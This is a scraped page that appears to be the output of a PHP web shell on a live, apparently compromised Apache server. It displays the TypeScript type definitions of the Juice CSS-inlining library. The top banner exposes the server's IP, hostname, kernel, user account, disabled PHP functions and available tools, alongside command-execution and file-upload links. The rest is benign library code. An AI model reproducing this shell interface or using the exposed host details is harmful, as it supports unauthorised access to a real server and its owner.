Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/github-from-package/../juice/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// Type definitions for Juice 3.0.0 // Project: https://github.com/Automattic/juice // Definitions by: Kamil Nikel <https://github.com/knikel> /* =================== USAGE =================== import juice = require('juice'); =============================================== */ export = juice; declare function juice(html: string, options?: juice.Options): string; declare namespace juice { export function juiceResources(html: string, options: Options, callback: Callback): string export function juiceFile(filePath: string, options: Options, callback: Callback): string export function juiceDocument($: any, options?: Options): any export function inlineContent(html: string, css: string, options?: Options): string export function inlineDocument($: any, css: string, options?: Options): any export let codeBlocks: { [index: string]: { start: string, end: string } }; export let excludedProperties: string[]; export let heightElements: HTMLElement[]; export let ignoredPseudos: string[]; export let nonVisualElements: HTMLElement[]; export let styleToAttribute: { [index: string]: string }; export let tableElements: HTMLElement[]; export let widthElements: HTMLElement[]; export interface Callback { (err: Error, html: string): any; } interface Options { extraCss?: string; applyStyleTags?: boolean; removeStyleTags?: boolean; preserveMediaQueries?: boolean; preserveFontFaces?: boolean; preserveKeyFrames?: boolean; preservePseudos?: boolean; insertPreservedExtraCss?: boolean; applyWidthAttributes?: boolean; applyHeightAttributes?: boolean; applyAttributesTableElements?: boolean; webResources?: WebResourcesOptions; inlinePseudoElements?: boolean; xmlMode?: boolean; preserveImportant?: boolean; } interface WebResourcesOptions { fileContent?: string; inlineAttribute?: string; images?: boolean | number; svgs?: boolean | number; scripts?: boolean | number; links?: boolean | number; relativeTo?: string; rebaseRelativeTo?: string; strict?: boolean; } }